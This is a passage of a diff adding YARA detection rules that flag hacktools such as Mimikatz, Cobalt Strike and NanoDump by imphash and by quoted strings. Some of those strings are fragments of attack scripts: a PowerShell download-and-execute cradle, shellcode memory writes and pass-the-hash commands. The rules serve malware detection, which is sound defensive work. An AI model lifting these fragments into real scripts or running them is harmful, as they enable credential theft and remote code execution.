+        hash = "a9897fd2d5401071a8219b05a3e9b74b64ad67ab75044b3e41818e6305a8d7b9"
+        hash = "aeac45fbc5d2a59c9669b9664400aeaf6699d76a57126d2f437833a3437a693e"
+        hash = "7b4c4d4676fab6c009a40d370e6cb53ea4fd73b09c23426fbaccc66d652f2a00"
+        hash = "b07f6873726276842686a6a6845b361068c3f5ce086811db05c1dc2250009cd0"
+        hash = "d1b3afebcacf9dd87034f83d209b42b0d79e66e08c0a897942fbe5fbd6704a0e"
+        hash = "074d52be060751cf213f6d0ead8e9ab1e63f055ae79b5fcbe4dd18469deea12b"
+        hash = "84d1fdef484fa9f637ae3d6820c996f6c5cf455470e8717ad348a3d80d2fb8e0"
+        hash = "437da123e80cfd10be5f08123cd63cfc0dc561e17b0bef861634d60c8a134eda"
+        hash = "f76c36eb22777473b88c6a5fc150fd9d6b5fac5b2db093f0ccd101614c46c7e7"
+        hash = "5498b7995669877a410e1c2b68575ca94e79014075ef5f89f0f1840c70ebf942"
+        hash = "af4e633acfba903e7c92342b114c4af4e694c5cfaea3d9ea468a4d322b60aa85"
+        hash = "d7d870f5afab8d4afa083ea7d7ce6407f88b0f08ca166df1a1d9bdc1a46a41b3"
+        hash = "974209d88747fbba77069bb9afa9e8c09ee37ae233d94c82999d88dfcd297117"
+        hash = "f2d99e7d3c59adf52afe0302b298c7d8ea023e9338c2870f74f11eaa0a332fc4"
+        hash = "b32c93be9320146fc614fafd5e6f1bb8468be83628118a67eb01c878f941ee5d"
+        hash = "bbd99acc750e6457e89acbc5da8b2a63b4ef01d4597d160e9cde5dc8bd04cf74"
+        hash = "dbff5ca3d1e18902317ab9c50be4e172640a8141e09ec13dcca986f2ec1dc395"
+        hash = "3ee1741a649f0b97bbeb05b6f9df97afda22c82e1e870177d8bdd34141ef163c"
+        hash = "222096fc800c8ea2b0e530302306898b691858324dbe5b8357f90407e9665b85"
+        hash = "b9995d1987c4e8b6fb30d255948322cfad9cc212c7f8f4c5db3ac80e23071533"
+        hash = "a6a92ea0f27da1e678c15beb263647de43f68608afe82d6847450f16a11fe6c0"
+        hash = "866e3ea86671a62b677214f07890ddf7e8153bec56455ad083c800e6ab51be37"
+        id = "fb398c26-e9ac-55f9-b605-6b763021e96a"
+    strings:
+        $fp1 = "Win32 Cabinet Self-Extractor" wide
+        $fp2 = "EXTRACTOPT" ascii fullword
+    condition:
+        uint16(0) == 0x5A4D and (
+            // no size limit as some samples are 20MB+ (ceaa0af90222ff3a899b9a360f6328cbda9ec0f5fbd18eb44bdc440470bb0247) and the hash is calculated only on the header
+            pe.imphash() == "9ee34731129f4801db97fd66adbfeaa0" or
+            pe.imphash() == "f9e8597c55008e10a8cdc8a0764d5341" or
+            pe.imphash() == "0a76016a514d8ed3124268734a31e2d2" or
+            pe.imphash() == "d3cbd6e8f81da85f6bf0529e69de9251" or
+            pe.imphash() == "d8b32e731e5438c6329455786e51ab4b" or
+            pe.imphash() == "cdf5bbb8693f29ef22aef04d2a161dd7" or
+            pe.imphash() == "890e522b31701e079a367b89393329e6" or
+            pe.imphash() == "bf5a4aa99e5b160f8521cadd6bfe73b8" or
+            pe.imphash() == "646167cce332c1c252cdcb1839e0cf48" or
+            pe.imphash() == "9f4693fc0c511135129493f2161d1e86" or
+            pe.imphash() == "b4c6fff030479aa3b12625be67bf4914" // or
+
+            // these have lots of hits on abuse.ch but none on VT? (except for my one test upload) honeypot collected samples?
+            //pe.imphash() == "2c2ad1dd2c57d1bd5795167a7236b045" or
+            //pe.imphash() == "46f03ef2495b21d7ad3e8d36dc03315d" or
+            //pe.imphash() == "6db997463de98ce64bf5b6b8b0f77a45" or
+            //pe.imphash() == "c9246f292a6fdc22d70e6e581898a026" or
+            //pe.imphash() == "c024c5b95884d2fe702af4f8984b369e" or
+            //pe.imphash() == "4dcbc0931c6f88874a69f966c86889d9" or
+            //pe.imphash() == "48521d8a9924bcb13fd7132e057b48e1" or
+
+            // rich_pe_header_hash:b6321cd8142ea3954c1a27b162787f7d p:2+ has 238k hits on VT including many files without imphash (e.g. e193dadf0405a826b3455185bdd9293657f910e5976c59e960a0809b589ff9dc) due to being corrupted?
+            // zero hits with p:0
+            // disable bc it's killing performance
+            //hash.md5(pe.rich_signature.clear_data) == "b6321cd8142ea3954c1a27b162787f7d"
+        )
+        and not 1 of ($fp*)
+}
+
+
+rule HKTL_Imphashes_Aug22_1 {
+   meta:
+      description = "Detects different hacktools based on their imphash"
+      author = "Florian Roth"
+      reference = "Internal Research"
+      score = 80
+      date = "2022-08-17"
+      modified = "2023-03-21"
+      id = "e1d4dde6-16ad-5495-b3a7-01a86c830761"
+   condition:
+      uint16(0) == 0x5a4d and (
+            pe.imphash() == "bcca3c247b619dcd13c8cdff5f123932" or // PetitPotam
+            pe.imphash() == "3a19059bd7688cb88e70005f18efc439" or // PetitPotam
+            pe.imphash() == "bf6223a49e45d99094406777eb6004ba" or // PetitPotam
+            pe.imphash() == "0c106686a31bfe2ba931ae1cf6e9dbc6" or // Mimikatz
+            pe.imphash() == "0d1447d4b3259b3c2a1d4cfb7ece13c3" or // Mimikatz
+            pe.imphash() == "1b0369a1e06271833f78ffa70ffb4eaf" or // Mimikatz
+            pe.imphash() == "4c1b52a19748428e51b14c278d0f58e3" or // Mimikatz
+            pe.imphash() == "4d927a711f77d62cebd4f322cb57ec6f" or // Mimikatz
+            pe.imphash() == "66ee036df5fc1004d9ed5e9a94a1086a" or // Mimikatz
+            pe.imphash() == "672b13f4a0b6f27d29065123fe882dfc" or // Mimikatz
+            pe.imphash() == "6bbd59cea665c4afcc2814c1327ec91f" or // Mimikatz
+            pe.imphash() == "725bb81dc24214f6ecacc0cfb36ad30d" or // Mimikatz
+            pe.imphash() == "9528a0e91e28fbb88ad433feabca2456" or // Mimikatz
+            pe.imphash() == "9da6d5d77be11712527dcab86df449a3" or // Mimikatz
+            pe.imphash() == "a6e01bc1ab89f8d91d9eab72032aae88" or // Mimikatz
+            pe.imphash() == "b24c5eddaea4fe50c6a96a2a133521e4" or // Mimikatz
+            pe.imphash() == "d21bbc50dcc169d7b4d0f01962793154" or // Mimikatz
+            pe.imphash() == "fcc251cceae90d22c392215cc9a2d5d6" or // Mimikatz
+            pe.imphash() == "23867a89c2b8fc733be6cf5ef902f2d1" or // JuicyPotato
+            pe.imphash() == "a37ff327f8d48e8a4d2f757e1b6e70bc" or // JuicyPotato
+            pe.imphash() == "f9a28c458284584a93b14216308d31bd" or // JuicyPotatoNG
+            pe.imphash() == "6118619783fc175bc7ebecff0769b46e" or // RoguePotato
+            pe.imphash() == "959a83047e80ab68b368fdb3f4c6e4ea" or // RoguePotato
+            pe.imphash() == "563233bfa169acc7892451f71ad5850a" or // RoguePotato
+            pe.imphash() == "87575cb7a0e0700eb37f2e3668671a08" or // RoguePotato
+            pe.imphash() == "13f08707f759af6003837a150a371ba1" or // Pwdump
+            pe.imphash() == "1781f06048a7e58b323f0b9259be798b" or // Pwdump
+            pe.imphash() == "233f85f2d4bc9d6521a6caae11a1e7f5" or // Pwdump
+            pe.imphash() == "24af2584cbf4d60bbe5c6d1b31b3be6d" or // Pwdump
+            pe.imphash() == "632969ddf6dbf4e0f53424b75e4b91f2" or // Pwdump
+            pe.imphash() == "713c29b396b907ed71a72482759ed757" or // Pwdump
+            pe.imphash() == "749a7bb1f0b4c4455949c0b2bf7f9e9f" or // Pwdump
+            pe.imphash() == "8628b2608957a6b0c6330ac3de28ce2e" or // Pwdump
+            pe.imphash() == "8b114550386e31895dfab371e741123d" or // Pwdump
+            pe.imphash() == "94cb940a1a6b65bed4d5a8f849ce9793" or // PwDumpX
+            pe.imphash() == "9d68781980370e00e0bd939ee5e6c141" or // Pwdump
+            pe.imphash() == "b18a1401ff8f444056d29450fbc0a6ce" or // Pwdump
+            pe.imphash() == "cb567f9498452721d77a451374955f5f" or // Pwdump
+            pe.imphash() == "730073214094cd328547bf1f72289752" or // Htran
+            pe.imphash() == "17b461a082950fc6332228572138b80c" or // Cobalt Strike beacons
+            pe.imphash() == "dc25ee78e2ef4d36faa0badf1e7461c9" or // Cobalt Strike beacons
+            pe.imphash() == "819b19d53ca6736448f9325a85736792" or // Cobalt Strike beacons
+            pe.imphash() == "829da329ce140d873b4a8bde2cbfaa7e" or // Cobalt Strike beacons
+            pe.imphash() == "c547f2e66061a8dffb6f5a3ff63c0a74" or // PPLDump
+            pe.imphash() == "0588081ab0e63ba785938467e1b10cca" or // PPLDump
+            pe.imphash() == "0d9ec08bac6c07d9987dfd0f1506587c" or // NanoDump
+            pe.imphash() == "bc129092b71c89b4d4c8cdf8ea590b29" or // NanoDump
+            pe.imphash() == "4da924cf622d039d58bce71cdf05d242" or // NanoDump
+            pe.imphash() == "e7a3a5c377e2d29324093377d7db1c66" or // NanoDump
+            pe.imphash() == "9a9dbec5c62f0380b4fa5fd31deffedf" or // NanoDump
+            pe.imphash() == "af8a3976ad71e5d5fdfb67ddb8dadfce" or // NanoDump
+            pe.imphash() == "0c477898bbf137bbd6f2a54e3b805ff4" or // NanoDump
+            pe.imphash() == "0ca9f02b537bcea20d4ea5eb1a9fe338" or // NanoDump
+            pe.imphash() == "3ab3655e5a14d4eefc547f4781bf7f9e" or // NanoDump
+            pe.imphash() == "e6f9d5152da699934b30daab206471f6" or // NanoDump
+            pe.imphash() == "3ad59991ccf1d67339b319b15a41b35d" or // NanoDump
+            pe.imphash() == "ffdd59e0318b85a3e480874d9796d872" or // NanoDump
+            pe.imphash() == "0cf479628d7cc1ea25ec7998a92f5051" or // NanoDump
+            pe.imphash() == "07a2d4dcbd6cb2c6a45e6b101f0b6d51" or // NanoDump
+            pe.imphash() == "d6d0f80386e1380d05cb78e871bc72b1" or // NanoDump
+            pe.imphash() == "38d9e015591bbfd4929e0d0f47fa0055" or // HandleKatz
+            pe.imphash() == "0e2216679ca6e1094d63322e3412d650" or // HandleKatz
+            pe.imphash() == "ada161bf41b8e5e9132858cb54cab5fb" or // DripLoader
+            pe.imphash() == "2a1bc4913cd5ecb0434df07cb675b798" or // DripLoader
+            pe.imphash() == "11083e75553baae21dc89ce8f9a195e4" or // DripLoader
+            pe.imphash() == "a23d29c9e566f2fa8ffbb79267f5df80" or // DripLoader
+            pe.imphash() == "4a07f944a83e8a7c2525efa35dd30e2f" or // CreateMiniDump
+            pe.imphash() == "767637c23bb42cd5d7397cf58b0be688" or // UACMe Akagi
+            pe.imphash() == "14c4e4c72ba075e9069ee67f39188ad8" or // UACMe Akagi
+            pe.imphash() == "3c782813d4afce07bbfc5a9772acdbdc" or // UACMe Akagi
+            pe.imphash() == "7d010c6bb6a3726f327f7e239166d127" or // UACMe Akagi
+            pe.imphash() == "89159ba4dd04e4ce5559f132a9964eb3" or // UACMe Akagi
+            pe.imphash() == "6f33f4a5fc42b8cec7314947bd13f30f" or // UACMe Akagi
+            pe.imphash() == "5834ed4291bdeb928270428ebbaf7604" or // UACMe Akagi
+            pe.imphash() == "5a8a8a43f25485e7ee1b201edcbc7a38" or // UACMe Akagi
+            pe.imphash() == "dc7d30b90b2d8abf664fbed2b1b59894" or // UACMe Akagi
+            pe.imphash() == "41923ea1f824fe63ea5beb84db7a3e74" or // UACMe Akagi
+            pe.imphash() == "3de09703c8e79ed2ca3f01074719906b" or // UACMe Akagi
+            pe.imphash() == "a53a02b997935fd8eedcb5f7abab9b9f" or // WCE
+            pe.imphash() == "e96a73c7bf33a464c510ede582318bf2" or // WCE
+            pe.imphash() == "32089b8851bbf8bc2d014e9f37288c83" or // Sliver Stagers
+            pe.imphash() == "09D278F9DE118EF09163C6140255C690" or // Dumpert
+            pe.imphash() == "03866661686829d806989e2fc5a72606" or // Dumpert
+            pe.imphash() == "e57401fbdadcd4571ff385ab82bd5d6d" or // Dumpert
+            pe.imphash() == "84B763C45C0E4A3E7CA5548C710DB4EE" or // SysmonEnte
+            pe.imphash() == "19584675d94829987952432e018d5056" or // SysmonQuiet
+            pe.imphash() == "330768a4f172e10acb6287b87289d83b" // ShaprEvtMute Hook
+      )
+}
+
+rule SUSP_Imphash_Mar23_2 : HIGHVOL {
+    meta:
+        description = "Detects imphash often found in malware samples (Zero hits with with search for 'imphash:x p:0' on Virustotal)"
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2023-03-23"
+        modified = "2023-11-25"
+        score = 65
+        hash = "12bf2795f4a140adbaa0af6ad4b2508d398d8ba69e9dadb155f800b10f7458c4"
+        hash = "14ec56489fbcc3c7f1ef9a4d4a80ff302a5e233cdc4429a29c635a88fb1278d6"
+        hash = "13731912823d6ce01c28a8d7d7f961505f461620bb35adbb409d4954ba1f4b8e"
+        hash = "15e59cc5d7b83e63d40dbfd8406701cb4decd31353f68fda47238d073c87e4ea"
+        hash = "13e5bb40be20b1a0bc28081ce7798f339c28c9652cb37b538c29872dfd0cd51d"
+        hash = "16f963afdb30b38ba4b8b98ce56a37626e9fd87de9eba5f9903d2ba7f8a77788"
+        hash = "168f22d02304ce66be88d2370c8fa7c7d9aa2ccf80f8e376edfeabfc9b96c73d"
+        hash = "9e7701450dbcbd35083e34df935bd77a95735c4b441e0fc8eacd543a621f2fa5"
+        hash = "51205c100702b21cce600692d69f3b108f49228e53f36678dd8b39434406526b"
+        hash = "c9b48e8b0e7c6fa75886554659bc0529e454d84b29daa07bd4323aca9a33f607"
+        hash = "ba5c06703bd3c093afa89e45d86aaf6c151fbaef44ebf3b65c97f3b376a88c72"
+        hash = "7281afc138e8e898aee16d415cd02a29dc5dedda5b11c23934aac0ebd208373b"
+        hash = "10a091b2468a8286f7b1a580d8923aef48856b43014e849035f05c4dbdc0a413"
+        hash = "56c04e76427bd982be83799d0a435732193d7bf5a70cdeba5eb63eaf0d4ebb77"
+        hash = "0aa8b7eddc4792a82f247702442c04e50173bd7712a4b596545916480942853b"
+        hash = "627f043ad875c182682149653363b7f856dd618d169821b18df7bc9cdf6269d8"
+        hash = "e1df460fd99c4f901859f3a8ec23b041ba9f4b79897dec349a96d6a27fb3e335"
+        hash = "f10ecbd8031ce85b782c59682ff32301a65e0975687977688771f1057fb063d1"
+        hash = "1bc7b8932b5b077b359c79e7ca664938b7a487a4e7e6b99d6647d6803bc677c5"
+        hash = "01f81029a5e93cbfecfbc81cbd4a2ffd1bb1b6159e2a144a21e58caf8dab9661"
+        hash = "cd33a71f71e2971667bacb0da71f2d36073777993b9581ec90bbf042162c3530"
+        hash = "4aab991149cb2dc8c0c0a323af3acbbd73d6a22177910ef3af92b05ae7c9ae7b"
+        hash = "df05fa3983c9e623388231d366dba4e435575ca53421d3f0bcb0fb346dd971d4"
+        hash = "14de3584fe7108386f7637c2bd343f30341c0fa2102d52bb35ee772b5b7672f0"
+        hash = "c4d9ad5cffd9aa13dfe3acbf0905810e28ff96d231541d7e209327ca5b0b24fe"
+        hash = "5e0bed2269dc34c6cc2db30b0a53282e6debb85b3c90a857d1be4cfd06312211"
+        hash = "3aa13e72382a2d7da592273b8c18a42106b65db528e16b6066646812e81555c4"
+        hash = "244c4a930e3644ffb96bf3ab33e8c8c0f94ed9fe6a8b2fc45fc8e9b6471ef3a8"
+        hash = "f00848b8edeeb5a668bf7e89e3f33f438b2f5d5cf130596a8ed2531e21be6d81"
+        hash = "5b9348c24ff604e78d70464654e645b90dc695c7e0415959c443fe29cebc3c4e"
+        id = "b739d540-5d9f-53b3-9e42-a514dc972e8d"
+    condition:
+        uint16(0) == 0x5A4D and (
+            // no size limit as some samples are 20MB+ and the hash is calculated only on the header
+            pe.imphash() == "e4290fa6afc89d56616f34ebbd0b1f2c" or
+            pe.imphash() == "8abecba2211e61763c4c9ffcaa13369e" or
+            pe.imphash() == "a64e048b98d051ae6e6b6334f77c95d3" or
+            pe.imphash() == "359d89624a26d1e756c3e9d6782d6eb0" or
+            pe.imphash() == "c2a87fabf96470db507b2e6b43bd92eb" or
+            pe.imphash() == "62ec3dce1eba1b68f6a4511bb09f8c2c" or
+            pe.imphash() == "5662cfcdfd9da29cb429e7528d5af81e" or
+            pe.imphash() == "406c785a6e2c6970c1e8ed62877e197b" or
+            pe.imphash() == "dbf687d6aa2a6cafe4349f7b0821a792" or
+            pe.imphash() == "6dca3e9fb3928bbdb54dbce669943ec8" or
+            pe.imphash() == "f1a539a5b71ad53ac586f053145f08ec" or
+            pe.imphash() == "3a2003ea545fe942681da9e7683ebb58" or
+            pe.imphash() == "a8286b574ff850cd002ea6282d15aa40" or
+            pe.imphash() == "3c8577ca4bab2f95cc6fc73ef1895288" or
+            pe.imphash() == "84706849fa809feaa385711a628be029" or
+            pe.imphash() == "ba23a556ac1d6444f7f76feafd6c8867" or
+            pe.imphash() == "95e6f8741083e0c7d9a63d45e2472360" or
+            pe.imphash() == "774d797db707398fd2ef1979d02634d5" or
+            pe.imphash() == "8c16c795b57934183422be5f6df7d891" or
+            pe.imphash() == "98f67c550a7da65513e63ffd998f6b2e" or
+            pe.imphash() == "e836076a09dba03e4d6faa46dda0fefc" or
+            pe.imphash() == "ff63dc9c65eb25911a9bc535c8f06ad0" or
+            pe.imphash() == "08b67a9663d3a8c9505f3b2561bbdd1c" or
+            pe.imphash() == "135e92fc9902f3140f2e5a51458efdf0" or
+            pe.imphash() == "4753904c40d638a1bc745c65b88291d5" or
+            pe.imphash() == "0f44bf2b3b0b8d5ecae5689ff1d0e90d" or
+            pe.imphash() == "c4c9ecfc26ca516a80b8f6f5b2bdb7e6" or
+            pe.imphash() == "46ad3d954e527f769e37017b3e128039" or
+            pe.imphash() == "802dcac7aab948c19738ba3df9f356d9" or
+            pe.imphash() == "b36a21279375c40e6f4c1ea347f906de" or
+            pe.imphash() == "77a185e903c5527243ef219b003bfd38" or
+            pe.imphash() == "12a30b523ac71a3cbe9145c89400dd7f" or
+            pe.imphash() == "cc40fefa3af5cd00cc28dbd874038a4d" or
+            pe.imphash() == "3d8c26f4cb1782a87c3bb42796fb6b85" or
+            pe.imphash() == "2f4ddcfebbcad3bacadc879747151f6f" or
+            pe.imphash() == "76812f441b0ed9d3cc0748af25d689a3" or
+            pe.imphash() == "9a06f0024c1694774ae97311608bab5b" or
+            pe.imphash() == "481f47bbb2c9c21e108d65f52b04c448" or
+            pe.imphash() == "286870a926664a5129b8b68ed0d4a8eb" or
+            pe.imphash() == "a0db151d55761167d93eba72d3d94b32" or
+            pe.imphash() == "663243fe4d94e1304b265ce4011cd01b" or
+            pe.imphash() == "f24e64014af9015dc25262e5076fe61f" or
+            pe.imphash() == "b7d08302c927428e16a2ad8d18b9d2b7" or
+            pe.imphash() == "352063077f27a851dc2b08e15f08105e" or
+            pe.imphash() == "b0b97d1a91a2730b3daa8bbb2e86b402" or
+            pe.imphash() == "bc96f1c981700752dc2cf9553da99eb6" or
+            pe.imphash() == "f68ddef5f29b66bbd543e947c8743bb0" or
+            pe.imphash() == "6dfbc160505aa2f7205766eaa6fe72a1" or
+            pe.imphash() == "a202429ffe8d8c8b722572cffd5681a7" or
+            pe.imphash() == "342a3708d93b6b819b7b1a768201a747" or
+            pe.imphash() == "cdc00badc7162acde9bb032e793ac137" or
+            pe.imphash() == "be19e18d6a8b41631d40059031a928bb" or
+            pe.imphash() == "0c54f96a844b02689687407de9b6663e" or
+            pe.imphash() == "fa5f28e70130a452b7c0a51db5544ef9" or
+            pe.imphash() == "2e5708ae5fed0403e8117c645fb23e5b" or
+            pe.imphash() == "8d92fa1956a6a631c642190121740197" or
+            pe.imphash() == "dc73a9bd8de0fd640549c85ac4089b87"
+        )
+}
+
+rule SUSP_Imphash_Mar23_3 {
+    meta:
+        description = "Detects imphash often found in malware samples (Maximum 0,25% hits with search for 'imphash:x p:0' on Virustotal) = 99,75% hits"
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-23"
+        modified = "2023-07-24"
+        reference = "Internal Research"
+        score = 45
+        hash = "b5296cf0eb22fba6e2f68d0c9de9ef7845f330f7c611a0d60007aa87e270c62a"
+        hash = "5a5a5f71c2270cea036cd408cde99f4ebf5e04a751c558650f5cb23279babe6d"
+        hash = "481b0d9759bfd209251eccb1848048ebbe7bd2c87c5914a894a5bffc0d1d67ff"
+        hash = "716ba6ea691d6a391daedf09ae1262f1dc1591df85292bff52ad76611666092d"
+        hash = "800d160736335aafab10503f7263f9af37a15db3e88e41082d50f68d0ad2dabd"
+        hash = "416155124784b3c374137befec9330cd56908e0e32c70312afa16f8220627a52"
+        hash = "21899e226502fe63b066c51d76869c4ec5dbd03570551cea657d1dd5c97e7070"
+        hash = "0461830e811d3831818dac5a67d4df736b4dc2e8fb185da439f9338bdb9f69c3"
+        hash = "773edc71d52361454156dfd802ebaba2bb97421ce9024a7798dcdee3da747112"
+        hash = "fe53b9d820adf3bcddf42976b8af1411e87d9dfd9aa479f12b2db50a5600f348"
+        id = "eb91e700-6478-5085-a393-a7b342c0eb4f"
+    condition:
+        uint16(0) == 0x5A4D and (
+            // no size limit as some samples are 20MB+ and the hash is calculated only on the header
+            //pe.imphash() == "87bed5a7cba00c7e1f4015f1bdae2183" or // UPX imphash
+            //pe.imphash() == "09d0478591d4f788cb3e5ea416c25237" or // PECompact imphash
+            pe.imphash() == "afcdf79be1557326c854b6e20cb900a7" or
+            pe.imphash() == "6ed4f5f04d62b18d96b26d6db7c18840" or
+            pe.imphash() == "fc6683d30d9f25244a50fd5357825e79" or
+            pe.imphash() == "2c5f2513605e48f2d8ea5440a870cb9e" or
+            pe.imphash() == "0b5552dccd9d0a834cea55c0c8fc05be"
+        )
+        and pe.number_of_signatures == 0
+}
diff --git a/yara-Neo23x0/gen_invoke_mimikatz.yar b/yara-Neo23x0/gen_invoke_mimikatz.yar
new file mode 100644
index 0000000..674018d
--- /dev/null
+++ b/yara-Neo23x0/gen_invoke_mimikatz.yar
@@ -0,0 +1,24 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Invoke-Mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_Mimikatz {
+	meta:
+		description = "Detects Invoke-Mimikatz String"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
+		date = "2016-08-03"
+		hash1 = "f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67"
+		id = "37de51a6-e1bb-5ee7-9b7f-8fe17b3697b5"
+	strings:
+		$x2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm" ascii
+      $x3 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii
+	condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_invoke_psimage.yar b/yara-Neo23x0/gen_invoke_psimage.yar
new file mode 100644
index 0000000..5a3e7f5
--- /dev/null
+++ b/yara-Neo23x0/gen_invoke_psimage.yar
@@ -0,0 +1,27 @@
+
+rule Invoke_PSImage {
+   meta:
+      description = "Detects a command to execute PowerShell from String"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/peewpw/Invoke-PSImage"
+      date = "2017-12-16"
+      id = "6abf53cd-6465-555b-a7d4-f5a917073f01"
+   strings:
+      $ = "IEX([System.Text.Encoding]::ASCII.GetString(" ascii wide
+      $ = "System.Drawing.Bitmap((a Net.WebClient).OpenRead(" ascii wide
+
+      $ = { 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
+            00 00 04 E4 00 00 03 A0 08 06 00 00 00 9D AF A9
+            E8 00 00 00 09 70 48 59 73 00 00 19 D6 00 00 19
+            D6 01 18 D1 CA ED 00 00 00 07 74 49 4D 45 07 E1
+            0C 0F 13 1E 36 89 C4 28 BF 00 00 00 07 74 45 58
+            74 41 75 74 68 6F 72 00 A9 AE CC 48 00 00 00 0C
+            74 45 58 74 44 65 73 63 72 69 70 74 69 6F 6E 00
+            13 09 21 23 00 00 00 0A 74 45 58 74 43 6F 70 79
+            72 69 67 68 74 00 AC 0F CC 3A 00 00 00 0E 74 45
+            58 74 43 72 65 61 74 69 6F 6E 20 74 69 6D 65 00
+            35 F7 0F }
+   condition:
+      filesize < 3000KB and 1 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_invoke_thehash.yar b/yara-Neo23x0/gen_invoke_thehash.yar
new file mode 100644
index 0000000..85813d3
--- /dev/null
+++ b/yara-Neo23x0/gen_invoke_thehash.yar
@@ -0,0 +1,90 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-14
+   Identifier: Invoke-Hash / Invoke-WMIExec
+   Reference: https://github.com/Kevin-Robertson/Invoke-TheHash
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_SMBExec {
+   meta:
+      description = "Detects Invoke-WmiExec or Invoke-SmbExec"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+      date = "2017-06-14"
+      hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
+      id = "07c742f4-3039-5c84-81d4-73ad25b98681"
+   strings:
+      $x1 = "Invoke-SMBExec -Target" fullword ascii
+      $x2 = "$packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID" fullword ascii
+
+      $s1 = "Write-Output \"Command executed with service $SMB_service on $Target\"" fullword ascii
+      $s2 = "$packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00" fullword ascii
+      $s3 = "$SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl" fullword ascii
+   condition:
+      ( filesize < 400KB and 1 of them )
+}
+
+rule Invoke_WMIExec_Gen_1 {
+   meta:
+      description = "Detects Invoke-WmiExec or Invoke-SmbExec"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+      date = "2017-06-14"
+      hash1 = "140c23514dbf8043b4f293c501c2f9046efcc1c08630621f651cfedb6eed8b97"
+      hash2 = "7565d376665e3cd07d859a5cf37c2332a14c08eb808cc5d187a7f0533dc69e07"
+      id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
+   strings:
+      $x1 = "Invoke-WMIExec " ascii
+      $x2 = "$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))" fullword ascii
+      $s1 = "Import-Module $PWD\\Invoke-TheHash.ps1" fullword ascii
+      $s2 = "Import-Module $PWD\\Invoke-SMBClient.ps1" fullword ascii
+      $s3 = "$target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList" fullword ascii
+      $x4 = "Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0" ascii
+   condition:
+      1 of them
+}
+
+rule Invoke_SMBExec_Invoke_WMIExec_1 {
+   meta:
+      description = "Auto-generated rule - from files Invoke-SMBExec.ps1, Invoke-WMIExec.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+      date = "2017-06-14"
+      super_rule = 1
+      hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
+      hash2 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
+      id = "fd1c6599-028d-5535-beb8-5b2658481b97"
+   strings:
+      $s1 = "$process_ID = $process_ID -replace \"-00-00\",\"\"" fullword ascii
+      $s2 = "Write-Output \"$Target did not respond\"" fullword ascii
+      $s3 = "[Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)" fullword ascii
+   condition:
+      all of them
+}
+
+rule Invoke_WMIExec_Gen {
+   meta:
+      description = "Auto-generated rule - from files Invoke-SMBClient.ps1, Invoke-SMBExec.ps1, Invoke-WMIExec.ps1, Invoke-WMIExec.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
+      date = "2017-06-14"
+      super_rule = 1
+      hash1 = "56c6012c36aa863663fe5536d8b7fe4c460565d456ce2277a883f10d78893c01"
+      hash2 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
+      hash3 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
+      id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"
+   strings:
+      $s1 = "$NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)" fullword ascii
+      $s2 = "$client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})" fullword ascii
